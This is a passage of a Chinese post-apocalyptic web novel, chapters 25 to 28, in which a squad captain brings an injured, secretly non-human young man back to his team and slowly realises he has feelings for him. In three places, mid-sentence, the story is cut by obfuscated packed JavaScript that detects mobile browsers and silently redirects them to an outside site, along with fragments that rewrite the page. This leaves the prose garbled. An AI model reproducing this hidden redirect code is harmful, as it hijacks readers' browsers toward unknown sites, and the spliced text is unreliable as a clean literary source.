不知道岁禾到底是怎么找的野果,每次都能精准找到又红又甜的野果。 “这里不宜久留。”梵烬又说:“要继续等阿溯他们来,还是说按照之前拟定的路线直接离开?” 傅清洲犹豫了一下,又看着靠在自己怀里的人,道:“直接离开吧,留个信号给他们,万一路上遇不到也能给他们一个信息。” 他拿出通讯器,发现已经没电了。时间过去太久了,没电是正常的。 傅清洲又看向梵烬,问:“通讯器有信号吗?有的话发个讯息总比留个信号强。” 梵烬点开手腕上的通讯器,上面显示的信号断断续续的。他在附近转悠了一圈,发现还是一样断断续续的。 他尝试发了一条信息给梵溯,但一直显示发不出去,最后只能走回傅清洲身边,“发不出去,我们先走吧。” 只能先这样了。 害怕那些异变种重新回来,二人很快就收拾好了东西,傅清洲前面背着包,后面背着岁禾,和梵烬放快了脚步离开这里。 兽潮退去之后,这片森林安静得很诡异,特别是最后那三个强大的异变种,离开得也很奇怪,在看见岁禾受伤之后就直接离开了。 没有一点犹豫。 二人一路走着,天色破晓射出一些稀碎的阳光,是难得的晴天。 傅清洲记得岁禾是最爱晒太阳了,今天刚好是晴天,他一定会尽快醒过来的吧。 阳光顺着树叶落在泥地上,昨天才下完雨,此时的泥地里一片泥泞,带着泥土的芬芳,但二人顾不得脏,越走越快。 直到听见熟悉的声音,二人才明显松了一口气,刚好和梵溯带来的救援碰上了,这样就不用这么警惕了,可以放松了很多。 “队长!阿烬!” 在看见傅清洲和梵烬的时候,第一小队的队员疯狂地围上来,把他们团团围住。 梵溯挤开人群,来到他哥面前,检查了一下他身上的伤口之后一把把他抱住,气呼呼地开口:“你吓死我了!以后我才不要自己出去找支援了。” 双生子心连心,连痛觉都能感觉到,梵烬知道自己受伤的时候梵溯肯定要担心坏了,但他说不出什么安慰的话,只能任由他叽里咕噜地说着,最后抱紧他。 “没事了,是岁禾救了我。”梵烬推开他,“你回去的路上遇到什么危险吧?” 梵溯摇摇头,“小兄弟呢?怎么就你和队长两个人?” 闻言,梵烬的视线落在傅清洲身上,而一旁的梵溯也跟着望过去,在人群里看见了趴在傅清洲身上的岁禾,脸上没什么血色,像是受了重伤。 梵溯喉结滚动了一下,盯着岁禾看了许久,才扭头问他哥,“他、还活着吗?” 额头被梵烬弹了一下,梵溯也像队员那样拥上傅清洲。 “先散开。”傅清洲把背包取下来,又把岁禾从背上放下来,梵溯连忙上去扶住岁禾。 “队长,你没事吧?”何寻开口。 傅清洲摇头,“我没事,身上有绷带吗?替他包扎一下。” 他本来想把岁禾放在地上靠着树干,最后还是自己靠在树干上,让岁禾窝在自己怀里。 “这位是?”秦安哲出声询问。 傅清洲没理他,旁边的梵烬先开口了,“是队长捡的一个小孩儿,异能挺强的,队友也死完了,所以我们就带回来了。” 秦安哲若有所思地点点头,“队长没事就好。” 何寻从背包里翻出纱布,一边用异能尝试给他治疗,结果惊奇地发现好像根本就不用治疗,“队长……他……” “他自己治疗过了。”傅清洲面无表情地开口,“你直接给他伤口消毒包扎就好了。” 何寻又点头,从包里翻出消毒水碘伏之类的东西,然后慢慢伸手去解岁禾的腰带。 傅清洲抬手阻止了她,“干嘛?” 何寻掀起眸子疑惑地看着他,“给他处理伤口啊,不脱衣服我怎么处理伤口?” 傅清洲抿着唇,不知道为什么看着就很不爽,他犹豫了一下,然后道:“我来吧,你去休息。” 何寻:“……” 虽然不理解队长的作为,但何寻还是把手上的东西放下之后,转身融进了大家的交谈中。 东西被放在一边,傅清洲让岁禾靠在自己身上,伸出手去解岁禾身上的腰带。作战服是傅清洲的,穿在岁禾身上很宽大,腰带也勒得很紧。 慢慢掀开岁禾的上衣,露出细小的腰肢,以及他腰上有一些傅清洲看不懂的纹路。 但他总觉得好像在哪里见过。 “阿烬。”傅清洲重新把衣服放下来盖住,沉声把梵烬喊过来了。 梵烬蹲在一边遮挡住大部分人的视线,他看着傅清洲撩起岁禾的上衣,露出那带着纹路的腰陷入了沉默。 “眼熟吗?”傅清洲抬眼望着他。 梵烬点了一下头,“有点,但我记不起在哪里见过了。” 傅清洲也觉得奇怪,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775877|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得当初见到岁禾的时候,他身上是没有这些纹路了,像是一条蛇蜿蜒在腰上发着细弱的光芒。 “一开始没有的。”傅清洲说:“我见到他的时候,他身上没有这些东西。” 也就是说不知道是什么时候出现的,岁禾他自己知不知道,这些纹路到底是好的还是不好的。 这些问题一个接着一个。 “哥!”梵溯洪亮的声音传过来。 傅清洲眼疾手快地重新把岁禾的衣服放下,梵溯过来看了他们一眼,然后笑眯眯地开口:“哥,我去找点吃的,来跟你说一声。” 梵烬点头,“注意安全。” “放心吧,我和寻姐他们去!不会有事情的。” 等目送他们二人离开之后,傅清洲重新掀开岁禾的衣服,这次他没有迟疑,拿起碘伏就开始处理伤口。 唯一不同的是,这次岁禾身上的纹路消失了。 “这是怎么回事?”梵烬抿了抿唇,不确定地看着那白花花的肚皮。 傅清洲也不知道说什么,最后只是沉默着替他包扎。 不知道为什么,他能让梵烬的伤口愈合,但到了自己身上就只能是把血止住,伤口格外的狰狞。 但没死就已经很不错了。 梵烬坐在旁边,回想着岁禾身上的那些纹路,他确定自己在哪里见过,只是暂时想不起来了。 给岁禾包扎好之后,傅清洲又重新整理好他的衣服,把他托到树上靠着,不知道这次岁禾又要什么时候才能清醒过来。 但已经快要出去了,傅清洲不可能在等他清醒之后在出去,那些退去的异变种随时都有可能回来,所以他们必须赶紧离开。 只要岁禾在这座森林里多待一天,那就代表着他会吸引更多的异变种前来,所以现在每一分每一秒都很珍贵。 把岁禾的位置调整好,傅清洲才开始看向自己的队员,除去和梵溯一起去找吃的何寻和秦安哲,大家都在。 他起身的时候顺势拉了一把梵烬,“来开个会。” 即使很久不见,大家在看见傅清洲的时候都很自然的放松下来,大家都表达了关心之后一直想叙旧,但因为傅清洲一直冷着脸在照顾一个不认识的人,所以大家都不敢上前。 直到傅清洲说要开会的时候,大家很快就聚集在一起,等待着队长的发言。 大家都很久没见了,傅清洲把自己得到的一些重要的信息都和他们说了一些,又询问了一些问题,最后是一个很重要的事情。 那就是傅清洲打算把岁禾塞进自己的队伍里,第一小队的队员都是经过傅清洲自己严选的,以及各种训练结果择优录取,所以这一件事一说出来,大家都在沉默着。 傅清洲在宣布完这个事情之后,又继续道:“如果有不同意的,也可以,等他的伤好了,你们可以和他比试一下,就知道自己与他的能力差距在哪里了。” “他救过我,救过梵烬和梵溯两兄弟,他的战斗能力能我们三个人匹敌,要是还有意见,那就打一架,证明他确实不配进第一小队。” “那安哲哥他们也知道这件事吗?” 傅清洲这才想起来,秦安哲是副队长,他不在的这些日子,第一小队都是听命于秦安哲。 “秦副队也是一样。” “不服,也打一架。” 26. 第 26 章 “回去吧……回去。” “我的王啊……回去吧。” “王啊……” 岁禾趴在傅清洲的背上,眉头紧蹙着,脑子里昏昏沉沉的让人难受,还有那些嘈杂的声音,都让岁禾止不住地抖。 很痛苦,脑海里的声音更是不停歇。 “队长!我们出来了!”梵溯惊喜地喊着,“被困在里面大半个月,终于出来了!” “哥!”梵溯见傅清洲不理人,又跑去骚扰他哥。 梵烬受不了他,随便点了一下头,“嗯嗯,出来了。” 察觉到背上的人一直在发抖,傅清洲眉头也跟着皱起来,从森林出来之后,这一片是一地的荒芜的草地,在往前走一段路,就是一座村庄。 只是村庄的卖相并不太好,远远望去,房屋破烂不堪,杂草丛生,还有的墙上爬满了各种各样的藤蔓。 “先去前面的村庄休息一下吧。”傅清洲说,又扭头看向梵烬,示意自己身后的人的情况。 梵烬一直跟在他身后,自然也看见了,从快要出来之后,岁禾就一直在发抖,根本没停下来过,不知道原因是什么,这种天气也不冷。 难不成要变异么? 但岁禾自己都是异种,根本不会被感染吧? “队长,这到底是怎么回事?”梵烬跟在他后面慢吞吞地走着,看着前方走着的队员,终于吐出了自己的问题,“他身上到底有多少秘密是我们不知道的?” 傅清洲摇了摇头,“我也不清楚,但看起来他像是在做噩梦,应该没什么事情。” 他听不清楚岁禾在呢喃些什么。 今天的阳光很好,他只希望岁禾能醒过来,平日里看见太阳的他都能高兴很久,即使只是一点点太阳花,他都能在底下开心得快要蹦起来,如果看见这么大的太阳,他会高兴很久吧。 正想着,背上的人动了动。 “呜…”岁禾缓慢睁开了双眼,迷茫的双眼眨了眨,眼睫毛跟着颤动着。 他闻着傅清洲身上熟悉的味道,又安心地闭上了双眼,慢慢地用脸颊在他肩膀上蹭了蹭。 他喉咙有些干哑,想开口却说不出话来,又只能默默地闭上了嘴巴,然后安静地趴在傅清洲肩膀上,看着这一片陌生的地方。 他从未来过这边,对这一片荒芜的土地倒是好奇得很,左看看右看看的,脑袋转得停不下来。 “别动了。”傅清洲实在没忍住出声打断他。 岁禾不满地张嘴在他肩膀上咬了一口,最后真的安静地趴在他肩膀上不动了。 一直走到那座废弃的村庄时,梵烬先一步上前,带着梵溯在四周检查了一下有没有藏起来的异变种已经存活的异能者。 周围都是腐烂的尸体,有异能者的,也有异种的,还有更多的是异变种的,可想而知在这里经历过多严重的战争。 岁禾看着这一座废弃的村庄,眉头忍不住皱起来,虽然他没有见过繁华的城市,可这一看就不像是库里尔跟他形容的繁华,而是库里尔说的末世。 城村破败,地上全是腐败的异变种以及人类的尸体,腐臭味很刺鼻,让大家都忍不住捂住了鼻子。 地上的道路不通,不是被尸体挡住就是坑坑洼洼的破裂的道路。 岁禾看着这一场景,心脏跟着一起揪起来,鼻尖耸动了一下。 “队长,没有威胁,可以暂时休息了。”秦安哲带着以为小队员过来禀报,又看了一眼他背上的岁禾,最后也没等傅清洲开口,就转身离开了。 在寻找出路的时候,岁禾一累就死缠烂打要傅清洲背他,现在自然也不愿意下来,因为耗费了巨大的能量,他现在格外的累。 傅清洲背着他找了一处勉强看起来还算好的屋子,然后把他放下来,“自己站好。” 岁禾撇撇嘴,跟在他身后打量起这间屋子,还算是两室一厅,只是都铺满了灰尘,还有许多蜘蛛网。 梵烬走进来的时候,手上燃起了火焰把周围碍事的蜘蛛网烧掉,随后一群队员跟着涌进来。 岁禾看着这些陌生,但穿着和傅清洲相同衣服的人,有些迷茫和不安,只能默默抓紧了傅清洲的衣角,躲在了他身后。 “正好,伤者醒了。”傅清洲撇了他们一眼,拽紧岁禾的手腕,将人从身后扯出来,站在自己旁边,“我再说一遍,他,岁禾,以后就是我们第一小队的新成员了。” 第一小队最核心的成员有好几个,秦安哲、何寻以及双生子,还有一位没跟过来的人,现在又加上了岁禾。 大家都没说话,一起看向了秦安哲。作为第一小队的副队,如果说傅清洲是掌握话语权的人物,那秦安哲就是拥有着拒绝权的人。 第一小队的训练一直都很严,连招人的方式都很严,但大家都想进第一小队,因为能接到的高强度任务很多,任务多就代表着有钱。 秦安哲站在一边,盯着身侧那破烂的窗户不知道在想什么,一直安静了许久,他才点了点头,“队长说什么就是什么吧。” “不过我有一个条件。” 傅清洲看了一眼岁禾,又看向秦安哲,道:“什么条件?” “等他伤好了,跟我切磋一下。”秦安哲扬了扬下巴,“毕竟就这么简单地进来了,歆杨可能不太好说话,你也知道他那脾气的。” “作为副队我还是要给他一个交代的。”秦安哲看向岁禾,“而且,他看起来有点弱。队长,你是知道的,第一小队不招无用的人,希望他不要给我们带来麻烦就好了。” 这人说话十分的不讨喜,虽然话比傅清洲多很多,但岁禾就莫名的喜欢不起来,他双手叉腰,骄傲地扬了扬下巴,“放心吧,我可是能把你打得落花流水的。” “谁教你这用词的?”傅清洲扭头看他。 “库里尔队长。”岁禾又凑上去挽着他的手腕,“粥粥,我饿了,有没有吃的?” 岁禾这不是开玩笑,他平常虽然感觉不到饿,但为了假装自己是人类,还是跟人类一样吃着各种食物。 但这次,他是真的感觉到了饥饿感,以及远处飘来的香味。 是梵烬的背包。 傅清洲逛了一圈,岁禾都屁颠屁颠地跟在他身后,最后二人喊着梵烬一起进了一间房间,梵溯看见了也要跟着一起进去。 结果被梵烬赶了出来,“你跟他们先待着,我跟队长还有些事情要商量。” 在房间里,岁禾刚要一屁股坐在床上,被傅清洲提着衣领又给提起来,“脏死了,别坐了。” 上面都是灰尘。 岁禾撇撇嘴,不满地“哦”了一声,然后打了个哈欠,“我们在这里干嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他点了点头,目光死死盯着他手里的背包,仿佛傅清洲才是抢他食物的坏人一样。 傅清洲看清了他的视线,把背包放到身后,“和之前一样,拿你知道的事情来交换。” 听到这件事情,岁禾瞬间萎靡了,他耷拉着脑袋,闷闷地开口:“我真的没有秘密了,你还是让我饿着吧。” 委屈又可怜的语气,傅清洲大概一下子就看出来了,发生的那些事情岁禾可能完全都不知道,他是没有记忆的。而且每次战斗力变强的时候,岁禾的眼睛都会变成红色,那他知道这个事情吗? 看样子好像也不知道。 岁禾身上的秘密太多了,多到他自己都不知道自己有什么秘密。 “那你告诉我,为什么你爱吃这个东西?”傅清洲晃了晃手里的背包,背包的拉链被他拉开,露出里面的晶核颜色,大部分都是低,中级的晶核,和之前黑色的高级晶核不一样。 里面一片白绿色的晶核,岁禾在看见之后微微皱了皱眉,似乎还有点嫌弃,他摇了摇头,“不知道啊,可能我之前没啥可以吃了的吧……” 又是在扯谎,傅清洲叹息一声,但最终还是没说什么,只是把手里的东西递过去给他,“这件事情也不能被别人知道,自己长点记性。” 这也是为什么傅清洲非要带他来单独的房间的原因,如果被秦安哲他们知道了岁禾的这个秘密,那他的身份肯定会怀疑。 也正是因为知道岁禾这个秘密,在离开的时候,他才喊梵烬捞了点低级中级的星核回来。 能猜到岁禾看到这些会欢喜。 可他似乎有些猜错了。 因为岁禾有点嫌弃。 27. 第 27 章 岁禾接过他递过来的背包,略带嫌弃地看了一眼包里低级和中级的晶核,又可怜巴巴地看向傅清洲,“我不想要这个……” “你要什么?” 岁禾拿出一块绿色的晶核比划了一下,道:“我要黑色的。” 听完他的话之后,傅清洲嘴角抽了抽,睨了他一眼,“没有别的了,只有这个,不要算了。” 岁禾嘴一撇,一副快要哭的样子,“可是之前你都给我黑色的……我不要这个,我就要黑色的,这个不好吃!” “还给你挑上了。”傅清洲被他吵得有些心烦,抬手有些烦躁地揉了揉头发,面无表情地凶他,“你吃不吃?不吃还给我,我分给他们吸收。” “不给!”岁禾瞬间把背包里的东西抱紧,生怕傅清洲要跟他抢一样,但依旧有些不开心,“这个不好吃……” 傅清洲真的伸手去抢,“那我分给他们吸收了……” 岁禾连忙转过身,把东西塞进自己怀里,傅清洲没摸到,刚好摸到他的肩胛骨,顿了一下然后又收回手。 “你给我的,就是我的,不可以抢回去。”岁禾更加委屈了,“库里尔跟我说的,给别人的东西不可以轻易收回去的。” 傅清洲脸色瞬间黑了,他把岁禾转了个身,忽然弯腰靠近他,挑起他的下巴,面露凶色,“那你记住,我不是库里尔,你不要的东西,我就立马收回。” “最后问你一遍,要还是不要?” 岁禾觉得自己被威胁了,他飞快地扫了一眼傅清洲的脸色,很快又低下头,慢吞吞地点头,“要。” 现在没有别的选择,岁禾要是真敢说不要,下一秒一定会被傅清洲抢走送去给外面那一群陌生人的。这是送给岁禾一个人的,他才不要分享给其他人呢。 看见傅清洲的脸色缓和了不少,岁禾才松了一口气,撇撇嘴拿起一块晶核塞进嘴里,“咔嚓”一声给咬碎了。 傅清洲收回了放在岁禾肩膀上的手,默默地开口:“牙口挺好。” “嗯?”岁禾抬起头看了他一眼,嘴里嚼着东西有些含糊不清地问他,“粥粥你说什么?” “没什么。”傅清洲转身在这间房间里细细搜索起来,“你吃你的吧,当然,你吃晶核的事情不要被别人发现,不然你可能会被当成异类。” 岁禾一边点头一边问:“那你不把我当异类吗?” 然而傅清洲并没有回答他的问题,只是杂酒房间里转悠了一下,然后又回到岁禾面前,“还有个问题问你。” “你说。” 傅清洲的视线往下移,落在他腹部的伤口上,他抬手轻轻戳了戳岁禾的腹部,“你伤口不疼了?” 这一问,岁禾嚼着晶核的动作跟着顿了一下,然后睁大眼睛低头看着自己被包扎起来的腹部,重复着傅清洲刚刚那句话,“我的伤口不疼了?” “蠢货。”傅清洲弹了一下他的额头,轻骂了一句。 看见岁禾这个反应之后,傅清洲大概是知道了,岁禾起码在这些伤面前死不掉,而且他昏迷过去之后会自动生长出藤蔓修复自己,但醒来之后是没有记忆的。 这不知道是好事还是坏事,是岁禾自己能这样还是对所有人都能这样。 不仅如此,岁禾的叶子各种功能作用都有,恢复能量,给梵烬的伤口止血。 应有尽有的。 这些种种迹象表明,岁禾真的和库里尔说的那样,他有可能就是这个末世的关键点。 而最终的结果是什么,还需要把岁禾送回研究院,让张博士和安博士研究一下才知道。 “粥粥,你看着我的眼神好像是要把我吃掉。”岁禾拍了拍肚子,吃了不少晶核,他现在已经不饿了,包里还剩下不少,于是他又问:“剩下的我可以留着下次吃吗?” “可以。”傅清洲没有犹豫。 岁禾立马扬起一抹笑容,“那你不许分给别人。” 还挺护食。 傅清洲看着他的笑,也没忍住跟着勾了勾嘴角。 岁禾把背包的拉链拉起来,然后背在背上,下一秒就牵上傅清洲的手臂,“那我们要走吗?我吃饱了。” 手上传来温凉的触感,傅清洲整个人都愣了一下,随后很快就回过神来把自己的手抽回,“你别乱碰我。” 岁禾看着空了的手心,有些失落,抿了抿唇又眨着可怜的眼睛望向傅清洲,道:“可是我都没做什么……我之前也这么牵你呀。” “而且我也这么牵库里尔……” 他的话刚落,傅清洲就黑着一张脸,迈着步伐摔门而出,留下岁禾一个人在房间里,看着他的背影不知所措。 连岁禾不知道又哪里惹傅清洲生气了,连忙跟着他的步子一起出去。 傅清洲也不清楚自己到底在生什么气,但岁禾张嘴闭嘴都是库里尔让他很不爽。现在明明是他把岁禾带出来的,结果岁禾满嘴都是别人。 “粥粥。”岁禾还不如跟上来,伸手就挽住了他的手臂,“你怎么走了?等等我呀,我跟不上。” 屋子里的客厅里坐着一群人,在看见二人出来之后,视线都落在他们身上。 岁禾顿了一下,他不太习惯这么多视线的注视,又默默地松开傅清洲的手,然后躲到了他身后。 “岁禾!”梵溯不知道什么时候绕到他们身后,一把拽住岁禾的手腕,然后笑嘻嘻地把他拉走,“过来跟我们一起玩呀。” “诶!”岁禾被他拽得差点摔倒,松开傅清洲的手,被迫着跟着梵溯离开。 他跟着傅清洲一起从房间里出来,满心满眼都是眼前的人,根本没注意到身后还有几个人围在一起。这被梵溯拽过来,看见几个人之后,忽然有些局促。 “安哲哥,寻姐,来,这是我们在找队长的时候认识的小兄弟。” 岁禾的目光在他们身上扫视了一眼,最后和秦安哲的目光对上。那人的目光不算太友善,反而有一种岁禾说不出来的感觉,像是要把他看穿一样。 “你们好。”岁禾连忙移开了自己的视线。 秦安哲的视线一直他身上流连,总觉得岁禾哪里都不对劲,但又不知道不对劲在哪里。 他看起来只想粘着傅清洲,但被梵溯拽过来之后又乖巧地蹲在梵溯身边,偶尔梵溯说两句话的时候又会跟着搭话。 秦安哲眯起双眼,忽然发现了到底哪里不对劲了,他扬了扬下巴,道:“这位小兄弟的伤好了?看起来好像没什么大问题的样子。” 他的声音不大不小,但除了他们这一群人在偶尔聊了几句,另一边的基本都在闭目养神。所以秦安哲这一句话瞬间让大家的视线都落在岁禾身上。 岁禾扫视了一眼众人,虽然伤口确实不疼了,但他的脸色还是有些苍白。被秦安哲这么一问也不生气,只是露出一抹笑容,乖乖道:“没呢。” 即使自己并不属于人类,但岁禾还是很清楚自己与人类的不同之处,就比如自己的伤口可以恢复得很快,而人类就不行。 “对啊,岁禾看着哪里没事了?”梵溯凑过来看他,被岁禾推开了。 如果说在这一群人里最怕的是谁,岁禾只能说是梵溯。他的异能足以让岁禾害怕,那双清澈的眼睛仿佛能把他看穿一样。 但好在梵溯的能力暂时看不穿他的身份。 “是吗?”秦安哲笑了一下,“那可要好好养伤啊,不然到时候回安全基地跟我比拼的时候,可不要说我欺负伤者啊。” 他的话语气并不太好,看上去没什么问题,但岁禾还是感觉到了浓浓的敌意。 说不上是敌意,但就是感觉不太好。 岁禾觉得眼前这个人好像并不是很喜欢自己。 人类世界太复杂了,岁禾抱着背包叹了一口气。 想回森林里去了。 “需要我给你治疗一下吗?”何寻凑过来捏了捏他的脸蛋,“你们别说,队长捡回来的这位小弟弟还挺可爱的,比阿烬和阿溯可爱多了。” 梵溯不满地噘着嘴,“寻姐,你这是喜新厌旧吧?” “哪有?”何寻笑出声,一手捏着岁禾的脸蛋,又抬手去捏梵溯的,“你俩一个样,就是阿烬看起来太高冷了,唉,我一直不敢上手啊。” 岁禾眨了眨眼。 梵溯连忙把自己的脸蛋从何寻手里抢救出来,一扭头发现岁禾已经代替自己被揉搓了,觉得十分的好笑,“你惨咯,寻姐可喜欢捏你这张脸了。” 岁禾望向他,没理解。 下一秒何寻又直接上手,“小弟弟好可爱啊,这世界上怎么会有如此的萌物?” 这下岁禾懂了。 这大概是人类表达喜欢的方式?毕竟异变种好像也是用这种方式来表达喜欢的。 各种蹭蹭贴贴。 梵烬在旁边咳嗽了一声,拽了一把岁禾,把他拽到自己身边,解救了被一顿揉搓的他。 何寻刚要开口说点什么的时候,对上了梵烬的视线,随着他的视线一扭头就对上了傅清洲看过来的视线,她跃跃欲试的手慌忙就收回来了。 忘记了这位是队长的人了。 岁禾仰着头看向傅清洲,抬起手拍了拍自己的脸,随后朝着他露出一抹笑。 “过来。”傅清洲扬了扬下巴。 岁禾连忙站起来屁颠屁颠地跟在他身后离开。 “你怎么不早点提醒我?”何寻“啧”了一声,瞪了一眼梵烬,“阿烬你可真的够坏了。” “提醒过你了。”梵烬说。 “哪有?” 梵溯在旁边跟着点头,“提醒过了的,哥哥的眼神提醒过了。” 何寻一噎,有些垂头丧气的,“哎,这么可爱的小弟弟,怎么就是队长身边的人呢?多可惜了,队长这么高冷,这小弟弟这么可爱。” 梵溯没听懂,“怎么就是队长的人了?明明只是队长救回来的而已嘛。” 梵烬怪异地看了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802662|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的愚蠢的弟弟,最后决定什么也不说。 一直沉默不语的秦安哲发出一声嗤笑声,随后懒懒的声音道:“哪比得过歆杨啊,毕竟歆杨这次只是有任务没办法过来,不然哪还轮得到他在这里?” 他的话瞬间让大家都沉默了。 倒是忘了还有一个人。 岁禾跟着傅清洲来到门外,他怀里还抱着那个背包,脸上被何寻揉搓得有些泛红。外面的天已经黑了下来,岁禾也不知道傅清洲要去哪,只是默默地跟在他身后。 “粥粥,我们去哪儿?”岁禾实在是忍不住了才开口询问他。 这个村庄有些破败,路上都是异变种和人类的尸体,有一些已经开始腐败了,散发出一些臭味,让岁禾闻着格外的难受。 他把背包背在身后,一只手捂着自己的鼻子,另一只手也没有闲着,牵着傅清洲的手腕。 路上都是碎掉的建筑物和尸体,岁禾光着脚还要注意着不能踩到那些散发着臭味的尸体。 碎石的触感让岁禾走得脚底有些生疼,他松开傅清洲的手,然后道:“我不走了!我脚疼!” 他说完,一屁股就坐在了一旁的石头上,赌气一样不去看傅清洲。 走在前面的人顿了一下,一扭头就看见他坐在石墩子上,鼓着一张脸气呼呼的,他觉得有些可爱,还有些好笑。 “干嘛不走?”傅清洲绕回来,蹲在他面前。 岁禾委屈巴巴地开口,“脚疼。” 傅清洲掀起眸子和他对视了一眼,随后伸出手去抓他的手腕,借着月光的光线,去观察他脚底的情况。 大概是在森林里待久了,岁禾每天都踩着湿润的泥土,根本不会害怕磨到脚,他都忘记了这个村庄到处都是泥路,还有碎掉的建筑物散落以及那些尸体。 傅清洲看了一会儿又放下,眉头微微皱起来,“很疼?” 怎么会有异种这么娇气? 岁禾点点头。 傅清洲没有办法,叹了一口气,在他身边坐下,道:“看你和他们相处不习惯,带你出来巡逻一下,谁知道你这么娇气。” “其实也还好。”岁禾侧头看向傅清洲,他直接盘腿坐在旁边的地上,比岁禾矮了一截头,看向他的时候,岁禾眉眼下垂,长长的睫毛在眼睑处落下一抹阴影。 傅清洲随着声音望过去,刚好一抬头就差点撞到岁禾的下巴,他看着那张脸,呼吸一滞,然后飞快地撇开脸。 岁禾有时候真的很像魅魔,傅清洲不可否认,他长得确实很好看,是好看而不是帅气。岁禾也不像那种娘娘腔一样,柔中带刚的感觉。 长长的睫毛随着眨眼睛的动作一上一下地扫动,傅清洲又回头看了一眼,依旧是飞快地移开了脑袋。 不知道是不是夜晚太过安静了,傅清洲总感觉听见了自己的心跳声,快得有些不像样。 “你这是干嘛?”岁禾抬手戳了戳他的后脑勺,“为什么不敢看我?” “我看起来很恐怖吗?” 傅清洲深吸了一口气,刚想转头的时候脑子里又想到了之前梵烬说的那些话,以及岁禾那天的那个吻。 原本只是想把那种异样的感觉压制住,结果却越想越乱,心脏跳的很快,根本不像是自己的。 “粥粥。”岁禾又戳了戳他的耳朵,“你的耳朵有点红,是不是不舒服啊?” “别动我!”傅清洲有些心烦意乱的,喊了一声把岁禾吓了一跳。 岁禾默默收回手,看着他的表情越来越委屈,嘴角一撇像是要哭了一样。 说完之后傅清洲才反应过来自己干了一件什么蠢事。 “抱歉。”傅清洲缓和了一下情绪。 岁禾抿着唇,没有回答他的话。他现在真的觉得人类真的很奇怪,特别是这种莫名其妙的情绪开始之后更加的奇怪了。 虽然说异变种也会有情绪,但像人类这么多的可不常见,生气就是生气,开心就是开心。 人类还是太复杂了。 傅清洲忽然觉得好像真的被梵烬说对了,自己好像真的对岁禾有了一点感觉,这种感觉从每次都对岁禾纵容开始,一点点放大。 一直到现在,一直到被别人点醒之后,傅清洲才开始有了一点反应。 才开始有了知觉,发觉自己对岁禾和对别人确实完全不一样,并且每次都会忍不住对他各种各样的纵容。 傅清洲觉得自己真的该静一静了,活了二十多年,他确定在这二十多年里没有对谁有过任何心动的感觉,满脑子都是这个末世。 但岁禾出现之后,傅清洲才发觉自己在岁禾面前变得越来越不像自己了。 这种种的异象确实在表明,自己对岁禾确实有了心动的感觉。 他真的该好好冷静一下,把这一份异样的感情压制住。起码在这个即将毁灭的世界里,傅清洲不该对一个能拯救世界的可能动心。 或许真的要远离一下岁禾了 28. 第 28 章 夜晚太过漫长了,原本还下定决心要远离岁禾的人,下一秒就背着人在村庄附近转悠了一圈。 身体机能消耗太大了,岁禾这次昏迷之后很快就醒过来了,这会儿到了晚上他就开始有些犯困了。在傅清洲的背上点着脑袋,最后还是没撑住,迷迷糊糊的声音落下之后,趴在他背上睡着了。 从森林里出来的第一晚,实在是太过安宁了。这也是傅清洲要出来巡逻一趟的原因,太过安宁的夜晚,他们已经很久没有度过了。 确认没有什么异常之后,傅清洲才背着岁禾移步回到刚刚的屋子里。 原本布满灰尘的屋子已经被打理得差不多了,大家都没有一点嫌弃地躺在了打扫干净的地板上。 因为傅清洲不在,秦安哲私自安排了几个轮流值班的队员,在看见傅清洲回来,以及他背上背着一个人的时候,秦安哲虽没说什么,但目光却不太友好。 “去哪了?”秦安哲靠在墙上,视线在他们身上扫了一下,“想跟你分享情报都没找着你人。” 傅清洲瞥了他一眼,示意远处的梵烬过来帮个忙,把身上的岁禾御下来之后,他才不紧不慢地回答,“出去看看周围有没有异常,有什么事可以跟阿烬说,他会转告我的。” 秦安哲盯着他看了一会儿,随后嗤笑了一声,“对你的新欢倒是还挺上心的,你对得起歆杨吗?” 屋子里的人大部分都在睡了过去,只有小部分还在闭目养神。秦安哲的声音不算很大,但在这安静的屋子里却足以让大家都听得清,双生子很不爽地看向他,又扭头去看队长的神色。 “副队的位置给你坐上头了?”傅清洲跟着一起坐下,岁禾原本安静地窝在梵烬身边,一感受到傅清洲在身边,没有意识地就缠上来了。 “还管到我头上了。”傅清洲冷冷地瞥了他一眼,“最后说一遍,我和齐歆杨没有一点关系。” 秦安哲没想到他会直接撇清自己和齐歆杨的关系,直接愣了一下之后又有些恼羞成怒。 “安哲哥,队长和歆杨确实没有关系。”梵溯说:“虽然不知道怎么传出来的绯闻,但我觉得吧,这个你应该回去问问歆杨。” 傅清洲从来没说过自己和齐歆杨有什么,一直都是齐歆杨在说。双生子有时候看傅清洲一句话都没否认,自然也不会说什么。 这还是他第一次否认自己和齐歆杨的关系,梵溯作为一个看齐歆杨很不顺眼的人,一下子就跳出来为自己的队长说话。 秦安哲瞪了一眼梵溯,最后目光落在岁禾身上,什么都没说。 这里气氛有些尴尬,但双生子和傅清洲完全不受影响,还有不受影响的岁禾抱着傅清洲的手臂,脑袋枕在他的手臂上,睡得可香了。 傅清洲侧头盯着他的模样看了一会儿。因为压着自己的手臂,岁禾脸上的肉挤成一团,看上去软乎乎的,捏起来应该很舒服。 这个想法在他的脑子里盘旋,但碍于这里太多人了,傅清洲才没有动手。 